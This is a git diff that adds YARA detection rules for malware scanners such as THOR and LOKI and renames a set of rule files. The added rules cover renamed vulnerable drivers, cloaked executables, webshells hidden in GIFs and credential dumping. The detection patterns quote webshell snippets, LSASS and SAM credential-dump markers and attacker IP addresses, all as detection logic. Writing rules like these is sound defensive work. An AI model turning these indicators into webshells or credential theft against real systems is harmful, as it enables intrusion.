+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 } /* OriginalFilename ElbyCDIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003700200045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* LegalCopyright CopyrightCElaborateBytesAG */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /ElbyCDIO/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_4DA0 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "4da08c0681fbe028b60a1eaf5cb8890bd3eba4d0e6a8b976495ddcd315e147ba"
+		date = "2023-06-14"
+		score = 70
+		id = "dfb8899e-3cbb-55c5-b531-761200da2d8f"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription Avastantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0037002e0034003000310036002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0037002e0034003000310036002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
diff --git a/yara-Neo23x0/yara_mixed_ext_vars.yar b/yara-Neo23x0/yara_mixed_ext_vars.yar
new file mode 100644
index 0000000..74778fc
--- /dev/null
+++ b/yara-Neo23x0/yara_mixed_ext_vars.yar
@@ -0,0 +1,556 @@
+/*
+	This is a collection of rules that use external variables
+	They work with scanners that support the use of external variables, like
+	THOR, LOKI or SPARK
+	https://www.nextron-systems.com/compare-our-scanners/
+*/
+
+import "pe"
+import "math" 
+
+rule Acrotray_Anomaly {
+	meta:
+		description = "Detects an acrotray.exe that does not contain the usual strings"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		score = 75
+		id = "e3fef644-e535-5137-ac98-2fd1b7ca4361"
+	strings:
+		$s1 = "PDF/X-3:2002" fullword wide
+		$s2 = "AcroTray - Adobe Acrobat Distiller helper application" fullword wide
+		$s3 = "MS Sans Serif" fullword wide
+		$s4 = "COOLTYPE.DLL" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3000KB
+		and ( filename == "acrotray.exe" or filename == "AcroTray.exe" )
+		and not all of ($s*)
+}
+
+rule COZY_FANCY_BEAR_modified_VmUpgradeHelper {
+	meta:
+		description = "Detects a malicious VmUpgradeHelper.exe as mentioned in the CrowdStrike report"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
+		date = "2016-06-14"
+		id = "97b844a4-0fa4-5850-8803-2212a69e3d16"
+	strings:
+		$s1 = "VMware, Inc." wide fullword
+		$s2 = "Virtual hardware upgrade helper service" fullword wide
+		$s3 = "vmUpgradeHelper\\vmUpgradeHelper.pdb" ascii
+	condition:
+		uint16(0) == 0x5a4d and
+		filename == "VmUpgradeHelper.exe" and
+		not all of ($s*)
+}
+
+rule IronTiger_Gh0stRAT_variant
+{
+	meta:
+		author = "Cyber Safety Solutions, Trend Micro"
+		description = "This is a detection for a s.exe variant seen in Op. Iron Tiger"
+		reference = "http://goo.gl/T5fSJC"
+		id = "e7eeee0f-d7a1-5359-bc1f-5a2a883c7227"
+	strings:
+		$str1 = "Game Over Good Luck By Wind" nocase wide ascii
+		$str2 = "ReleiceName" nocase wide ascii
+		$str3 = "jingtisanmenxiachuanxiao.vbs" nocase wide ascii
+		$str4 = "Winds Update" nocase wide ascii fullword
+	condition:
+		uint16(0) == 0x5a4d and (any of ($str*))
+		and not filename == "UpdateSystemMib.exe"
+}
+
+rule OpCloudHopper_Cloaked_PSCP {
+   meta:
+      description = "Tool used in Operation Cloud Hopper - pscp.exe cloaked as rundll32.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
+      date = "2017-04-07"
+      score = 90
+      id = "c1e2e456-dbdd-54cf-b0e0-b356f291cfcd"
+   strings:
+      $s1 = "AES-256 SDCTR" ascii
+      $s2 = "direct-tcpip" ascii
+   condition:
+      all of them and filename == "rundll32.exe"
+}
+
+rule msi_dll_Anomaly {
+   meta:
+      description = "Detetcs very small and supicious msi.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://blog.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"
+      date = "2017-02-10"
+      hash1 = "8c9048e2f5ea2ef9516cac06dc0fba8a7e97754468c0d9dc1e5f7bce6dbda2cc"
+      id = "92cd5c51-ed84-5428-9105-50139f9289c8"
+   strings:
+      $x1 = "msi.dll.eng" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 15KB and filename == "msi.dll" and $x1
+}
+
+rule PoS_Malware_MalumPOS_Config
+{
+    meta:
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        date = "2015-06-25"
+        description = "MalumPOS Config File"
+        reference = "http://blog.trendmicro.com/trendlabs-security-intelligence/trend-micro-discovers-malumpos-targets-hotels-and-other-us-industries/"
+        id = "0fd2b9c2-d016-5db2-8fcc-618df6c815de"
+    strings:
+        $s1 = "[PARAMS]"
+        $s2 = "Name="
+        $s3 = "InterfacesIP="
+        $s4 = "Port="
+    condition:
+        all of ($s*) and filename == "log.ini" and filesize < 20KB
+}
+
+rule Malware_QA_update_test {
+	meta:
+		description = "VT Research QA uploaded malware - file update_.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "VT Research QA"
+		date = "2016-08-29"
+		score = 80
+		hash1 = "3b3392bc730ded1f97c51e23611740ff8b218abf0a1100903de07819eeb449aa"
+		id = "8f319277-1eaf-559e-87ad-f4ab89b04ca5"
+	strings:
+		$s1 = "test.exe" fullword ascii
+		$s2 = "PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGP" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them and filename == "update.exe"
+}
+
+
+/* These only work with external variable "filename" ------------------------ */
+/* as used in LOKI, THOR, SPARK --------------------------------------------- */
+
+rule SysInterals_PipeList_NameChanged {
+	meta:
+		description = "Detects NirSoft PipeList"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/Mr6M2J"
+		date = "2016-06-04"
+		score = 90
+		hash1 = "83f0352c14fa62ae159ab532d85a2b481900fed50d32cc757aa3f4ccf6a13bee"
+		id = "01afcf29-a74c-5be2-8b24-694a2802ef34"
+	strings:
+		$s1 = "PipeList" ascii fullword
+		$s2 = "Sysinternals License" ascii fullword
+	condition:
+		uint16(0) == 0x5a4d and filesize < 170KB and all of them
+		and not filename contains "pipelist.exe"
+		and not filename contains "PipeList.exe"
+}
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-04-26
+	Identifier: regsvr32 issue
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule SCT_Scriptlet_in_Temp_Inet_Files {
+	meta:
+		description = "Detects a scriptlet file in the temporary Internet files (see regsvr32 AppLocker bypass)"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/KAB8Jw"
+		date = "2016-04-26"
+		id = "8b729257-3676-59b2-961c-dae1085cbbf6"
+	strings:
+		$s1 = "<scriptlet>" fullword ascii nocase
+		$s2 = "ActiveXObject(\"WScript.Shell\")" ascii
+	condition:
+		( uint32(0) == 0x4D583F3C or uint32(0) == 0x6D78F3C ) /* <?XM or <?xm */
+		and $s1 and $s2
+		and filepath contains "Temporary Internet Files"
+}
+
+
+rule GIFCloaked_Webshell_A {
+   meta:
+      description = "Looks like a webshell cloaked as GIF"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      hash = "f1c95b13a71ca3629a0bb79601fcacf57cdfcf768806a71b26f2448f8c1d5d24"
+      score = 60
+      id = "4fdef65c-204a-5019-9b4f-c5877c3e39d4"
+   strings:
+      $s0 = "input type"
+      $s1 = "<%eval request"
+      $s2 = "<%eval(Request.Item["
+      $s3 = "LANGUAGE='VBScript'"
+      $s4 = "$_REQUEST" fullword
+      $s5 = ";eval("
+      $s6 = "base64_decode"
+
+      $fp1 = "<form name=\"social_form\""
+   condition:
+      uint32(0) == 0x38464947 and ( 1 of ($s*) )
+      and not 1 of ($fp*)
+}
+
+/* causes FPs and relevancy is limited
+rule exploit_ole_stdolelink {
+  meta:
+    author = "David Cannings"
+    description = "StdOleLink, potential 0day in April 2017"
+    score = 55
+  strings:
+    // Parsers will open files without the full 'rtf'
+    $header_rtf = "{\\rt" nocase
+    $header_office = { D0 CF 11 E0 }
+    $header_xml = "<?xml version=" nocase wide ascii
+
+    // Marks of embedded data (reduce FPs)
+    // RTF format
+    $embedded_object   = "\\object" nocase
+    $embedded_objdata  = "\\objdata" nocase
+    $embedded_ocx      = "\\objocx" nocase
+    $embedded_objclass = "\\objclass" nocase
+    $embedded_oleclass = "\\oleclsid" nocase
+
+    // XML Office documents
+    $embedded_axocx      = "<ax:ocx"  nocase wide ascii
+    $embedded_axclassid  = "ax:classid"  nocase wide ascii
+
+    // OLE format
+    $embedded_root_entry = "Root Entry" wide
+    $embedded_comp_obj   = "Comp Obj" wide
+    $embedded_obj_info   = "Obj Info" wide
+    $embedded_ole10      = "Ole10Native" wide
+
+    $data0 = "00000300-0000-0000-C000-000000000046" nocase wide ascii
+    $data2 = "OLE2Link" nocase wide ascii
+    $data3 = "4f4c45324c696e6b" nocase wide ascii
+    $data4 = "StdOleLink" nocase wide ascii
+    $data5 = "5374644f6c654c696e6b" nocase wide ascii
+
+  condition:
+    // Mandatory header plus sign of embedding, then any of the others
+    for any of ($header*) : ( @ == 0 ) and 1 of ($embedded*)
+        and (1 of ($data*))
+        and extension != ".msi"
+}
+*/
+
+rule HackTool_Producers {
+   meta:
+      description = "Hacktool Producers String"
+      threat_level = 5
+      score = 50
+      nodeepdive = 1
+      id = "75cb2c86-0eaa-5cf5-96d8-85b91054de36"
+   strings:
+      $a1 = "www.oxid.it"
+      $a2 = "www.analogx.com"
+      $a3 = "ntsecurity.nu"
+      $a4 = "gentilkiwi.com"
+      $a6 = "Marcus Murray"
+      $a7 = "Nsasoft US LLC0"
+      $a8 = " Nir Sofer"
+   condition:
+      uint16(0) == 0x5a4d and 1 of ($a*) and
+      not extension contains ".ini" and
+      not extension contains ".xml" and
+      not extension contains ".sqlite"
+}
+
+rule Exe_Cloaked_as_ThumbsDb
+    {
+    meta:
+        description = "Detects an executable cloaked as thumbs.db - Malware"
+        date = "2014-07-18"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        score = 50
+        id = "ff09f8cf-de5a-50fc-aa0b-c54f7667e246"
+    condition:
+        uint16(0) == 0x5a4d and filename matches /[Tt]humbs\.db/
+}
+
+rule Fake_AdobeReader_EXE
+    {
+    meta:
+      description = "Detects an fake AdobeReader executable based on filesize OR missing strings in file"
+      date = "2014-09-11"
+      author = "Florian Roth (Nextron Systems)"
+      score = 50
+      nodeepdive = 1
+      nodeepdive = 1
+      id = "e3dd9d94-9f4b-5ff9-bfec-29abfb3555bb"
+    strings:
+      $s1 = "Adobe Systems" ascii
+
+      $fp1 = "Adobe Reader" ascii wide
+      $fp2 = "Xenocode Virtual Appliance Runtime" ascii wide
+    condition:
+      uint16(0) == 0x5a4d and
+      filename matches /AcroRd32.exe/i and
+      not $s1 in (filesize-2500..filesize)
+      and not 1 of ($fp*)
+}
+
+rule mimikatz_lsass_mdmp
+{
+   meta:
+      description      = "LSASS minidump file for mimikatz"
+      author         = "Benjamin DELPY (gentilkiwi)"
+      id = "3d850dbe-1342-55ac-b0f7-91343d88f147"
+   strings:
+      $lsass         = "System32\\lsass.exe"   wide nocase
+   condition:
+      (uint32(0) == 0x504d444d) and $lsass and filesize > 50000KB and not filename matches /WER/
+}
+
+rule lsadump {
+   meta:
+      description      = "LSA dump programe (bootkey/syskey) - pwdump and others"
+      author         = "Benjamin DELPY (gentilkiwi)"
+      score         = 80
+      nodeepdive = 1
+      id = "3bfa8dd8-720d-5326-ac92-0fb96cf21219"
+   strings:
+      $str_sam_inc   = "\\Domains\\Account" ascii nocase
+      $str_sam_exc   = "\\Domains\\Account\\Users\\Names\\" ascii nocase
+      $hex_api_call   = {(41 b8 | 68) 00 00 00 02 [0-64] (68 | ba) ff 07 0f 00 }
+      $str_msv_lsa   = { 4c 53 41 53 52 56 2e 44 4c 4c 00 [0-32] 6d 73 76 31 5f 30 2e 64 6c 6c 00 }
+      $hex_bkey      = { 4b 53 53 4d [20-70] 05 00 01 00}
+
+      $fp1 = "Sysinternals" ascii
+      $fp2 = "Apple Inc." ascii wide
+      $fp3 = "Kaspersky Lab" ascii fullword
+      $fp4 = "ESET Security" ascii
+      $fp5 = "Disaster Recovery Module" wide
+      $fp6 = "Bitdefender" wide fullword
+   condition:
+      uint16(0) == 0x5a4d and
+      (($str_sam_inc and not $str_sam_exc) or $hex_api_call or $str_msv_lsa or $hex_bkey )
+      and not 1 of ($fp*)
+      and not filename contains "Regdat"
+      and not filetype == "EXE"
+      and not filepath contains "Dr Watson"
+      and not extension == "vbs"
+}
+
+rule SUSP_ServU_SSH_Error_Pattern_Jul21_1 {
+   meta:
+      description = "Detects suspicious SSH component exceptions that could be an indicator of exploitation attempts as described in advisory addressing CVE-2021-35211 in ServU services"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.solarwinds.com/trust-center/security-advisories/cve-2021-35211#FAQ"
+      date = "2021-07-12"
+      score = 60
+      id = "1a89f0b0-445c-5867-94cd-f07ba1becad6"
+   strings:
+      $s1 = "EXCEPTION: C0000005;" ascii
+      $s2 = "CSUSSHSocket::ProcessReceive();" ascii
+   condition:
+      filename == "DebugSocketlog.txt"
+      and all of ($s*)
+}
+
+rule SUSP_ServU_Known_Mal_IP_Jul21_1 {
+   meta:
+      description = "Detects suspicious IP addresses used in exploitation of ServU services CVE-2021-35211 and reported by Solarwinds"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.solarwinds.com/trust-center/security-advisories/cve-2021-35211#FAQ"
+      date = "2021-07-12"
+      score = 60
+      id = "118272a7-7ec9-568b-99e0-8cfe97f3f64e"
+   strings:
+      $xip1 = "98.176.196.89" ascii fullword 
+      $xip2 = "68.235.178.32" ascii fullword
+      $xip3 = "208.113.35.58" ascii fullword
+      $xip4 = "144.34.179.162" ascii fullword
+      $xip5 = "97.77.97.58" ascii fullword
+   condition:
+      filename == "DebugSocketlog.txt"
+      and 1 of them
+}
+
+rule SUSP_EXPL_Confluence_RCE_CVE_2021_26084_Indicators_Sep21 {
+   meta:
+      description = "Detects ELF binaries owner by the confluence user but outside usual confluence directories"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://attackerkb.com/topics/Eu74wdMbEL/cve-2021-26084-confluence-server-ognl-injection/rapid7-analysis"
+      date = "2021-09-01"
+      score = 55
+      id = "395d37ea-1986-5fdd-b58c-562ae0d8be35"
+   condition:
+      uint32be(0) == 0x7f454c46 /* ELF binary */
+      and owner == "confluence"
+      and not filepath contains "/confluence/"
+}
+
+rule SUSP_Blocked_Download_Proxy_Replacement_Jan23_1 {
+   meta:
+      description = "Detects a file that has been replaced with a note by a security solution like an Antivirus or a filtering proxy server"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.virustotal.com/gui/search/filename%253A*.exe%2520tag%253Ahtml%2520size%253A10kb-%2520size%253A2kb%252B/files"
+      date = "2023-01-28"
+      score = 60
+      id = "58bc8288-6bdb-57d5-9de5-a54a39584838"
+   strings:
+      $x01 = "Web Filter Violation"
+      $x02 = "Google Drive can't scan this file for viruses."
+      $x03 = " target=\"_blank\">Cloudflare <img "
+      $x04 = "Sorry, this file is infected with a virus.</p>"
+      $x05 = "-- Sophos Warn FileType Page -->"
+      $x06 = "<p>Certain Sophos products may not be exported for use by government end-users" // accept EULA 
+      $x07 = "<p class=\"content-list\">Bitly displays this warning when a link has been flagged as suspect. There are many"
+      $x08 = "Something went wrong. Don't worry, your files are still safe and the Dropbox team has been notified."
+      $x09 = "<p>sinkhole</p>"
+      $x10 = "The requested short link is blocked by website administration due to violation of the website policy terms."
+      $x11 = "<img src=\"https://www.malwarebytes.com/images/"
+      $x12 = "<title>Malwarebytes</title>"
+      $x13 = "<title>Blocked by VIPRE</title>"
+      $x14 = "<title>Your request appears to be from an automated process</title>"
+      $x15 = "<p>Advanced Security blocked access to"
+      $x16 = "<title>Suspected phishing site | Cloudflare</title>"
+      $x17 = ">This link has been flagged "
+      $x18 = "<h1>Trend Micro Apex One</h1>"
+      $x19 = "Hitachi ID Identity and Access Management Suite"
+      $x20 = ">http://www.fortinet.com/ve?vn="
+      $x21 = "access to URL with fixed IP not allowed" // FritzBox
+      $x23 = "<title>Web Page Blocked</title>"
+      $x24 = "<title>Malicious Website Blocked</title>"
+      $x25 = "<h2>STOPzilla has detected"
+      $x26 = ">Seqrite Endpoint Security</span>"
+      $x27 = "<TITLE>K7 Safe Surf</TITLE>"
+      $x28 = "<title>Blocked by VIPRE</title>"
+
+      $g01 = "blocked access" fullword
+      $g02 = "policy violation" fullword
+      $g03 = "violation of " 
+      $g04 = "blocked by" fullword
+      $g05 = "Blocked by" fullword
+      $g07 = "Suspected Phishing"
+      $g08 = "ile quarantined"
+      $g09 = " is infected "
+      $g10 = "Blocked</title>"
+      $g11 = "site blocked" fullword
+      $g12 = "Site Blocked" fullword
+      $g13 = "blocked for" fullword
+      $g14 = "is blocked" fullword
+      $g15 = "potentially harmful"
+      $g16 = "Page Blocked" fullword
+      $g17 = "page blocked" fullword
+   condition:
+      extension == ".exe" and not uint16(0) == 0x5a4d and 1 of them
+      or (
+         extension == ".rar" or 
+         extension == ".ps1" or 
+         extension == ".vbs" or
+         extension == ".bat"
+      )
+      and 1 of ($x*)
+}
+
+/* too many FPs
+rule APT_MAL_RU_WIN_Snake_Malware_PeIconSizes_May23_1 {
+   meta:
+      description = "Detects Comadmin file that houses Snake's kernel driver and the driver's loader"
+      author = "CSA"
+      reference = "https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF"
+      date = "2023-05-10"
+      score = 75
+   condition:
+      uint16(0) == 0x5a4d
+      and ( 
+         filename == "WerFault.exe"
+         or filename == "werfault.exe"
+      )
+      and filepath contains "\\WinSxS\\"
+      and for any rsrc in pe.resources: (
+         rsrc.type == pe.RESOURCE_TYPE_ICON and rsrc.length == 3240
+      ) 
+      and for any rsrc in pe.resources: (
+         rsrc.type == pe.RESOURCE_TYPE_ICON and rsrc.length == 1384 
+      ) 
+      and for any rsrc in pe.resources: (
+         rsrc.type == pe.RESOURCE_TYPE_ICON and rsrc.length == 7336
+      )
+}
+*/
+
+rule APT_MAL_RU_Snake_Malware_Queue_File_May23_1 {
+   meta:
+      description = "Detects Queue files used by Snake malware"
+      author = "Florian Roth"
+      reference = "https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF"
+      date = "2023-05-10"
+      score = 80
+      id = "c7ed554e-b55e-5c3f-aa8b-231cb1073f34"
+   condition:
+      filename matches /(\{[0-9A-Fa-f]{8}\-([0-9A-Fa-f]{4}\-){3}[0-9A-Fa-f]{12}\}\.){2}crmlog/
+      /* and filepath contains "\\Registration\\" // not needed - already specific enough */
+      // we reduce the range for the entropy calculation to the first 1024 for performance
+      // reasons. In a fully encrypted file - as used by Snake - this should already be specific enough
+      //and math.entropy(0, filesize) >= 7.0
+      and math.entropy(0, 1024) >= 7.0
+}
+
+
+rule SUSP_Password_XLS_Unencrypted {
+   meta:
+      description = "Detects files named e.g. password.xls, which might contain unportected clear text passwords"
+      author = "Arnim Rupp (https://github.com/ruppde)"
+      reference = "Internal Research"
+      date = "2023-10-04"
+      score = 60
+      id = "41096ef1-dd02-5956-9053-3d7fb1a5092c"
+   condition:
+      // match password and the german passwort:
+      (
+         filename istartswith "passwor" or        /* EN / DE */
+         filename istartswith "contrase" or       /* ES */
+         filename istartswith "mot de pass" or   /* FR */
+         filename istartswith "mot_de_pass" or   /* FR */
+         filename istartswith "motdepass" or     /* FR */
+         filename istartswith "wachtwoord"        /* NL */
+      )
+      and (
+          // no need to check if an xls is password protected, because it's trivial to break
+          (
+              filename iendswith ".xls"
+              and uint32be(0) == 0xd0cf11e0 // xls
+          )
+          or
+          (
+              filename iendswith ".xlsx"
+              and uint32be(0) == 0x504b0304 // unencrypted xlsx = pkzip
+          )
+      )
+}
+
+rule SUSP_Password_XLS_Encrypted {
+   meta:
+      description = "Detects files named e.g. password.xlsx, which might contain clear text passwords, but are password protected from MS Office"
+      author = "Arnim Rupp (https://github.com/ruppde)"
+      reference = "Internal Research"
+      date = "2023-10-04"
+      score = 50
+      id = "d3334923-3396-524d-9111-8ccb754ab99e"
+   condition:
+      // match password and the german passwort:
+      (
+         filename istartswith "passwor" or        /* EN / DE */
+         filename istartswith "contrase" or       /* ES */
+         filename istartswith "mot de pass" or   /* FR */
+         filename istartswith "mot_de_pass" or   /* FR */
+         filename istartswith "motdepass" or     /* FR */
+         filename istartswith "wachtwoord"        /* NL */
+      )
+      and filename iendswith ".xlsx"
+      and uint32be(0) == 0xd0cf11e0 // encrypted xlsx = CDFV2
+}
diff --git a/yara/backdoor/ByteCode.MSIL.Backdoor.AgentRacoon.yara b/yara-ReversingLabs/backdoor/ByteCode.MSIL.Backdoor.AgentRacoon.yara
similarity index 100%
rename from yara/backdoor/ByteCode.MSIL.Backdoor.AgentRacoon.yara
rename to yara-ReversingLabs/backdoor/ByteCode.MSIL.Backdoor.AgentRacoon.yara
diff --git a/yara/backdoor/ByteCode.MSIL.Backdoor.AsyncRAT.yara b/yara-ReversingLabs/backdoor/ByteCode.MSIL.Backdoor.AsyncRAT.yara
similarity index 100%
rename from yara/backdoor/ByteCode.MSIL.Backdoor.AsyncRAT.yara
rename to yara-ReversingLabs/backdoor/ByteCode.MSIL.Backdoor.AsyncRAT.yara
diff --git a/yara/backdoor/ByteCode.MSIL.Backdoor.LimeRAT.yara b/yara-ReversingLabs/backdoor/ByteCode.MSIL.Backdoor.LimeRAT.yara
similarity index 100%
rename from yara/backdoor/ByteCode.MSIL.Backdoor.LimeRAT.yara
rename to yara-ReversingLabs/backdoor/ByteCode.MSIL.Backdoor.LimeRAT.yara
diff --git a/yara/backdoor/ByteCode.MSIL.Backdoor.Menorah.yara b/yara-ReversingLabs/backdoor/ByteCode.MSIL.Backdoor.Menorah.yara
similarity index 100%
rename from yara/backdoor/ByteCode.MSIL.Backdoor.Menorah.yara
rename to yara-ReversingLabs/backdoor/ByteCode.MSIL.Backdoor.Menorah.yara
diff --git a/yara/backdoor/Linux.Backdoor.Krasue.yara b/yara-ReversingLabs/backdoor/Linux.Backdoor.Krasue.yara
similarity index 100%
rename from yara/backdoor/Linux.Backdoor.Krasue.yara
rename to yara-ReversingLabs/backdoor/Linux.Backdoor.Krasue.yara
diff --git a/yara/backdoor/Linux.Backdoor.Linodas.yara b/yara-ReversingLabs/backdoor/Linux.Backdoor.Linodas.yara
similarity index 100%
rename from yara/backdoor/Linux.Backdoor.Linodas.yara
rename to yara-ReversingLabs/backdoor/Linux.Backdoor.Linodas.yara
diff --git a/yara/backdoor/Win32.Backdoor.Konni.yara b/yara-ReversingLabs/backdoor/Win32.Backdoor.Konni.yara
similarity index 100%
rename from yara/backdoor/Win32.Backdoor.Konni.yara
rename to yara-ReversingLabs/backdoor/Win32.Backdoor.Konni.yara
diff --git a/yara/backdoor/Win64.Backdoor.Konni.yara b/yara-ReversingLabs/backdoor/Win64.Backdoor.Konni.yara
similarity index 100%
rename from yara/backdoor/Win64.Backdoor.Konni.yara
rename to yara-ReversingLabs/backdoor/Win64.Backdoor.Konni.yara
diff --git a/yara/backdoor/Win64.Backdoor.Minodo.yara b/yara-ReversingLabs/backdoor/Win64.Backdoor.Minodo.yara
similarity index 100%
rename from yara/backdoor/Win64.Backdoor.Minodo.yara
rename to yara-ReversingLabs/backdoor/Win64.Backdoor.Minodo.yara
diff --git a/yara/backdoor/Win64.Backdoor.SideTwist.yara b/yara-ReversingLabs/backdoor/Win64.Backdoor.SideTwist.yara
similarity index 100%
rename from yara/backdoor/Win64.Backdoor.SideTwist.yara
rename to yara-ReversingLabs/backdoor/Win64.Backdoor.SideTwist.yara
diff --git a/yara/certificate/blocklist.yara b/yara-ReversingLabs/certificate/blocklist.yara
similarity index 100%
rename from yara/certificate/blocklist.yara
rename to yara-ReversingLabs/certificate/blocklist.yara
diff --git a/yara/downloader/Win32.Downloader.dlMarlboro.yara b/yara-ReversingLabs/downloader/Win32.Downloader.dlMarlboro.yara
similarity index 100%
rename from yara/downloader/Win32.Downloader.dlMarlboro.yara
rename to yara-ReversingLabs/downloader/Win32.Downloader.dlMarlboro.yara
diff --git a/yara/exploit/Win32.Exploit.CVE20200601.yara b/yara-ReversingLabs/exploit/Win32.Exploit.CVE20200601.yara
similarity index 100%
rename from yara/exploit/Win32.Exploit.CVE20200601.yara
rename to yara-ReversingLabs/exploit/Win32.Exploit.CVE20200601.yara
diff --git a/yara/infostealer/Win32.Infostealer.LumarStealer.yara b/yara-ReversingLabs/infostealer/Win32.Infostealer.LumarStealer.yara
similarity index 100%
rename from yara/infostealer/Win32.Infostealer.LumarStealer.yara
rename to yara-ReversingLabs/infostealer/Win32.Infostealer.LumarStealer.yara
diff --git a/yara/infostealer/Win32.Infostealer.MultigrainPOS.yara b/yara-ReversingLabs/infostealer/Win32.Infostealer.MultigrainPOS.yara
similarity index 100%
rename from yara/infostealer/Win32.Infostealer.MultigrainPOS.yara
rename to yara-ReversingLabs/infostealer/Win32.Infostealer.MultigrainPOS.yara
diff --git a/yara/infostealer/Win32.Infostealer.ProjectHookPOS.yara b/yara-ReversingLabs/infostealer/Win32.Infostealer.ProjectHookPOS.yara
similarity index 100%
rename from yara/infostealer/Win32.Infostealer.ProjectHookPOS.yara
rename to yara-ReversingLabs/infostealer/Win32.Infostealer.ProjectHookPOS.yara
diff --git a/yara/infostealer/Win32.Infostealer.StealC.yara b/yara-ReversingLabs/infostealer/Win32.Infostealer.StealC.yara
similarity index 100%
rename from yara/infostealer/Win32.Infostealer.StealC.yara
rename to yara-ReversingLabs/infostealer/Win32.Infostealer.StealC.yara
diff --git a/yara/pua/Win32.PUA.Domaiq.yara b/yara-ReversingLabs/pua/Win32.PUA.Domaiq.yara
similarity index 100%
rename from yara/pua/Win32.PUA.Domaiq.yara
rename to yara-ReversingLabs/pua/Win32.PUA.Domaiq.yara
diff --git a/yara/ransomware/ByteCode.MSIL.Ransomware.Apis.yara b/yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Apis.yara
similarity index 100%
rename from yara/ransomware/ByteCode.MSIL.Ransomware.Apis.yara
rename to yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Apis.yara
diff --git a/yara/ransomware/ByteCode.MSIL.Ransomware.ChupaCabra.yara b/yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.ChupaCabra.yara
similarity index 100%
rename from yara/ransomware/ByteCode.MSIL.Ransomware.ChupaCabra.yara
rename to yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.ChupaCabra.yara
diff --git a/yara/ransomware/ByteCode.MSIL.Ransomware.Cring.yara b/yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Cring.yara
similarity index 100%
rename from yara/ransomware/ByteCode.MSIL.Ransomware.Cring.yara
rename to yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Cring.yara
